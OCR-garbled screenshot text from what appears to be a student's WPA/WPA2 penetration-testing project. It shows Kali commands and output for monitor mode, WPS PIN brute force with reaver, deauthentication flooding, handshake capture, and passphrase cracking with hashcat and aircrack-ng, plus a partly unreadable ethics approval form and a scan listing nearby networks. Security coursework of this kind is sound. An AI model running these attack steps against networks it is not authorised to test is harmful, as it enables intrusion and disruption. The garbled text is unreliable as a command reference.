If an external registrar is available, you can also enter Router's PIN at the external registrar. To change
Router's PIN, click "Generate New PIN" or click 'Restore Default PIN" to reset the PIN to factory
default
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root@kali:~# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1560
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80 :27ff:fe05:32ec prefixlen 64 scopeid 0x20<link>
ether 08:00: :05:32:ec txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors © dropped @ overruns @ frame ©
TX packets 19 bytes 1657 (1.6 KiB)
TX errors © dropped @ overruns ® carrier ® collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1 (Local Loopback)
RX packets 16 bytes 960 (960.0 B)
RX errors © dropped @ overruns @ frame ©
TX packets 16 bytes 960 (960.0 B)
TX errors © dropped © overruns © carrier ® collisions ©

wlan@: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 66:fb:e9:db:a2:be txqueuelen 1000 (Ethernet)
RX packets © bytes 0 (0.0 B)
RX errors © dropped @ overruns @ frame ©
TX packets © bytes © (0.0 B)
TX errors © dropped © overruns © carrier © collisions ©

root@kali:~# [
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root@kali:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name

365 NetworkManager
489 dhclient

636 wpa_supplicant

PHY Interface Driver Chipset
phy® wlan@ ath9k_htc Atheros Communications, Inc. AR9271 862.11n

(mac86211 monitor mode vif enabled for [phy®]wlan® on [phy®]wlan®mon)
(mac80211 station mode vif disabled for [phy®]wlan®)
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root@kali:~# wash -i wlan@mon
Wash v1.5.3 WiFi Protected Setup Scan Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
mod by t6 x<t6 x@hotmail.com>, DataHead, Soxrok2212, Wiire, AAnarchYY & rofler

BSSID Ch dBm WPS Lck ESSID
6 00 Belkin N+ 34D7D3

1.0 No
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root@kali:~# reaver -i wlan®mon -b 00:22:75:34:D7:D3 -d 25 -vv
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root@kali:~# reaver -i wlan®mon -b 00:22:75:34:D7:D3 -d -S -N -vv

Reaver v1.5.3 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6 x@hotmail.com> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft

[+] Waiting for beacon from 00:22:75:34:D7:D3

[+] Switching wlan@mon to channel 6

[+] Associated with ©0:22:75:34:D7:D3 (ESSID: Belkin N+ _34D7D3)
[+] Starting Cracking Session. Pin count: @, Max pin attempts: 11000
[+] Trying pin 12345670

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

P.3 DPacmdi A
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# airodump-ng wlan©Omonjy
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root@kali:~# airodump-ng -c¢ 6 -w WifiMajorPro --bssid 00:22:75:34:D7:D3 wlanOmonf]
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root@kali:~# aireplay-ng -0 0 -a 00:22:75:34:D7:D3 wlanOmon
11:44:23 Waiting for beacon frame (BSSID: 00:22:75:34:D7:[3) on channel 6
NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

11:44:23 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:24 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:24 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:26 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:26 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:27 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:27 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:28 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:28 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
11:44:29 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]
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CH 12 ][ Elapsed: 27 mins ][ 2017-08-04 11:40 ][ WPA handshake: 00:22:75:34:D7:D3
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licrosoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

:\Downloads\hashcat-3.6.0\hashcat-3.6.0>hashcat64.exe -m 2500 -w 3 wpahandshake.hccapx BIG-WPA-LIST-2.dict
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penCL Platform #1: Intel(R) Corporation

 Device #1: Intel(R) HD Graphics 630, skipped.
 Device #2: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, skipped.

penCL Platform #2: NVIDIA Corporation

 Device #3: GeForce GTX 1060, 1536/6144 MB allocatable, 1@MCU

lashes: 2 digests; 1 unique digests, 1 unique salts
itmaps: 16 bits, 65536 entries, @x0000ffff mask, 262144 bytes, 5/13 rotates
ules: 1

\pplicable optimizers:
< Zero-Byte
 single-Hash

 single-Salt

¢ Slow-Hash-SIMD

latchdog: Temperature abort trigger set to 98c
latchdog: Temperature retain trigger disabled.

ictionary cache built:

 Filename..: wordlist.dict
 Passwords.: 112332434

¢ Bytes.....: 1247805458
 Keyspace..: 112332434
 Runtime...: 8 secs

sJtatus [plause [rlesume [blypass [clheckpoint [qluit =>
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3eb@88206ce6726e7257e21066539d9a:00227534d7d3 :9801a74868ab: Belkin_N+_34D7D3:welcomel

: hashcat
: Cracked
WPA/WPA2
Belkin_N+_34D7D3 (AP:00:22:75:34:d7:d3 STA:98:01:a7:48:68:ab)
2 2017 (9 mins, 39 secs)
12017 (@ secs)
: File (wordlist.dict)
1/1 (100.00%)
: 170.2 ki/s (56.21ms)
1/1 (160.00%) Digests, 1/1 (100.00%) Salts
98631682/112332434 (87.80%)
2/98631682 (0.00%)
98304002/112332434 (87.51%)
: Skasvatusopillista -> Skrzyzowe
Temp: 64c Util: 97% Core:1771MHz Mem:3802MHz Bus:8

peed.Dev.#3
Recovered
Progress.
Rejected. ...
Restore.Point.
andidates. #3.
n.Dev. #3

Fri Aug @4 15:25:18 2017
: Fri Aug @4 15:35:13 2017
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Wireless > Security

Security Mode >
Authentication >
Encryption Technique >

Pre-shared Key (PSK) > [ecoctewt

[ obscure PSK

WPA-PSK (no server): Wireless Protected Access with a Pre-
Shared Key: The key is a password, in the form of a word,
phrase or series of letters and numbers. The key must be
between 8 and 63 characters long and can include spaces and
symbols, or 64 Hex (0-F) only. Each client that connects to the
network must use the same key (Pre-Shared Key). More Info

Clear Changes | _Apply Changes
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crunch Iersion 3.6

Crunch can create a wordlist based on criteria you specify. The output from cru
nch can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
~where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.
root@kali:~# ./crunch 8 8 abcdefghijklmnopqgrstuvwxyzl -o 8digit.txtl]
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root@kali:~# crunch 8 8 ébédefghijklmnopqrstuvwxyzl -o

“runch will now generate the following amount of data:
2424112 MB

2367 GB

-

) PB

“runch will now generate the following number of lines:
crunch: ©% completed generating output

crunch: 0% completed generating output

“runch: ©% completed generating output

8digit.txt
2541865828329 bytes

282429536481
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root@kali: ~

File Edit View Search Terminal Help

Aircrack-ng 1.2 rc4
[00:56:43] 11397392 keys tested (4123.14 k/s)
KEY FOUND! [ emoclewl ]
Master Key : OF @6 7D D8 24 35 28 CD F5 22 50 4E B4 DE 4D F3
C6 01 30 AE 7A 9D 2A EC OE D9 A7 24 7F 7F D1 1C
Transient Key : DC A4 7E FE 95 70 EA EC OE 47 ©8 24 F6 69 48 56
EE 85 64 E8 7C 25 40 B4 DA 11 BE A6 A5 B4 Bl F1
49 DC Al ©3 1A D2 FA 9C 14 DA 4A 27 19 F7 1D 1B
BD 6B 79 FA 43 70 8B 8E 09 EO 6D A7 B9 6C 99 B8E

EAPOL HMAC : CE A8 42 B9 65 74 F7 B9 32 63 B8 5E 56 1D E1 D2
root@kali:~# I
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Form: PR ()1

PROJECT RESEARCH APPROVAL FORM (Ethics)

Have you considered whether there are any problematic ‘effical issues’ in your proposed
research project? If not, you really should talk to your Course Tutor or Supervisor to discuss i
there are any issues you need to address

1fyou have sieacy completed an ‘Ethics Approval For within your FaculySehoal, you do not nsed to complete
i form. However, you haven considered e etics 506 in your Bropasel, you nesd o compite s form,

Mo sl Getais nacessari apsly to your area o sudy. 5o you myleave Some boes blnk butdo try and complee.
it a5 flly 35 you can. Al secons Gesl with potentl cifics ssues whioh need carelul consideraton befors you
ommence ol research,t ensure you dealwih them properly (n socordance with the law,for Sampe) You may
ind t sasie o complee te form wih assstance from your tutor Supenvsor.

Form: PR ()1
4. Other Ethical issues (s ai st may apply o your research)

[] administation of rugs inci.aiconol ] peprwvation

[ unpieasant stimuiiin any manner orform [ Active deception or withhalding information

[ Cotecton o ighy persona fomaion ] Payment
5. Are there any efhical concerns ofher than those lsted above?

[= |

6. If there are any ethical concems, please state how you intend to minimise any risk of
harm or distress that could be caused

Wame: | Masroor kiian
ProjectRescarch Tl | i1 penetration testing WPA/IPAZ

Name of Supervisor| Paul willin

SchoolDept_
Faculty

Proposed StartDate_| 15 July 2017
1. SummMary of planned research pesse ncsie ey bl th pupeseof your e groecresesrh,
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“Attacking the Wi-Fi protocol WPATWPAL
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Wit the full eport with recommendations
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[ Performance [ Presentstion
\
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Successful Deauthentication

Authentication Notification
Attacker spoofs
deauthentication frames
Successh‘
Disassociation
Assoc:ancn Nouﬁcauon

Figure 49. State Machine (Source: IEEE)

2nme
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root@kali:~# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1560
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80 :27ff:fe05:32ec prefixlen 64 scopeid 0x20<link>
ether 08:00: :05:32:ec txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors © dropped @ overruns @ frame ©
TX packets 19 bytes 1657 (1.6 KiB)
TX errors © dropped @ overruns ® carrier ® collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1 (Local Loopback)
RX packets 16 bytes 960 (960.0 B)
RX errors © dropped @ overruns @ frame ©
TX packets 16 bytes 960 (960.0 B)
TX errors © dropped © overruns © carrier ® collisions ©

wlan@: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 66:fb:e9:db:a2:be txqueuelen 1000 (Ethernet)
RX packets © bytes 0 (0.0 B)
RX errors © dropped @ overruns @ frame ©
TX packets © bytes © (0.0 B)
TX errors © dropped © overruns © carrier © collisions ©

root@kali:~# [
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rc;ot@kali:~# reaver -i wlan@mon 00:22:75:34:D7:D3 -d -S -N -vvlii
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& = TRerTRey TReTe T EReES
] WPS transaction failed (code: ©0x02), re-
-] Trying pin 123456760

Sending EAPOL START request

Received identity request

Sending identity response

Received identity request

Sending identity response

Received identity request

Sending identity response

Received identity request

Sending identity response

Received identity request

Sending identity response

Received identity request

Sending identity response

Received identity request

Sending identity response

Nothing done, nothing to save.
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root@kali:~# aireplay-ng -0 0 -a 00:22:75:34:D7:D3 wlan@mon

11:44:23 Waiting for beacon frame (BSSID: ©0:22:75:34:D7:[3) on channel 6

INB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

11:44:23 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:D7:D3]

11:44:24 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:
cH11:44:24 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:

11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:
35 11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:

11:44:25 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:
9p 11:44:26 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:

11:44:26 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:
35:11:44:27 Sending DeAuth to broadcast -- BSSID: [00:22:75:34:

11:44:27 Sending DeAuth to broadcast -- BSSID: :22:75:34:
59 11:44:28 Sending DeAuth to broadcast -- BSSID: :22:75:34:

:44: Sending DeAuth to broadcast -- BSSID: :122:75:

Sending DeAuth to broadcast -- B

OUOUUUUUDUD
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BSSID PWR
50:6A:03:13:FE: 08 -30
-42
-74
-71
-69
40:0D:10:88:B6:81 -73
CO:4A:00:6C:02: A0 -74
50:6A:03:2 -75
52:0D:10:88:B6:81 -73
40:0D:10:D2:D3:D9 -79
26:20:C7:8C:9D:B1 -79
©4:CO:6F:E 58:48B -78
40:0D:10:62:62:C9 -79
©00:1E:2A:E F. 32 -79
52:0D:10:D2:D3:D9 -78
24:20:C7:8C:9B:BO -1
5C:7D:5E:BF:6F:DC -78
AC:84:C9:A1:CD:AA -82
root@kali:~# ~C
root@kali:~# air

airbase-ng
aircrack-ng
airdecap-ng
airdecloak-ng
root@kali

~# airodump-ng

Beacons #Data, #/s
636 101
656 o
235
453
229
338
3e8
456
344
324
442
267
124
492
312
473
186
162

"
o
N

'

"
0000000000000 00000Q

LOOOWONOOOONLOO

w

aireplay-ng

airmon-ng

airodump-ng

airodump-ng-oui-update
-c 6 -w wpahandshake2

CH MB ENC CIPHER AUTH
11 54e WPA2 CCMP PSK
6 54 WPA CCMP 1
13 54e. WPA2 CCMP PSK
11 54e. WPA2 CCMP PSK
11 54e. WPA2 CCMP MGT
1 54e. WPA2 CCMP PSK
13 54e. WPA2 CCMP PSK
6 54e WPA2 CCMP PSK
1 54e. WPA2 CCMP MGT
6 54e. WPA2 CCMP PSK
6 54e WPA2 CCMP MGT
1 54e WPA2 CCMP PSK
1 54e. WPA2 CCMP PSK
6 54e. WPA TKIP PSK
6 54e. WPA2 CCMP MGT
6 54e OPN
11 54e. WPA2 CCMP PSK
1 54e WPA2 CCMP PSK

airolib-ng
airserv-ng
airtun-ng

--bssid ©0:22:75:34:D7:D3

ESSID

VM210227-2G
Belkin_ N+_ 34D7D3
BTHUb6-TZTW
VM2459480
Vvirgin Media
VM2229977
BTHUb6-TZTW_ext
VMO17095-2G
Virgin Media
vMe884977
BTWifi-X
BTHUb3-KT9M
VM8914865
SKY26874

Virgin Media
BTWifi-with-FON
TALKTALK-BF6FD4
BTHuUbG6 - X5WP

wlan®mon
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Aircrack-ng 1.2 rc4

[0©0:33:37] 5843804 keys tested (3888.93 k/s)
Current passphrase: 1133112w
Master Key : 1F E7 75 97 D6 OE 29 04 6F E8 BF E4 E4 OC 52 62
8F 22 E6 78 A® E1 24 A4 Al 27 DB FE 10 65 81 5D
Transient Key : 6C 81 9E SA S5A 99 32 70 55 E8 FD 53 9F 27 B9 56
EE 14 7C BD DB 53 75 D7 1C 4C 29 59 FA 84 12 17
E5 27 A9 A5 64 2C 98 13 B9 61 40 FB 94 B9 CB 8C
SE F7 12 8C Al 92 Bl 81 F7 D1 50 9F 61 13 08 AE

EAPOL HMAC : D6 99 EC B8 D3 CA 6E E© 2D 62 1B 75 7F OF B6 68
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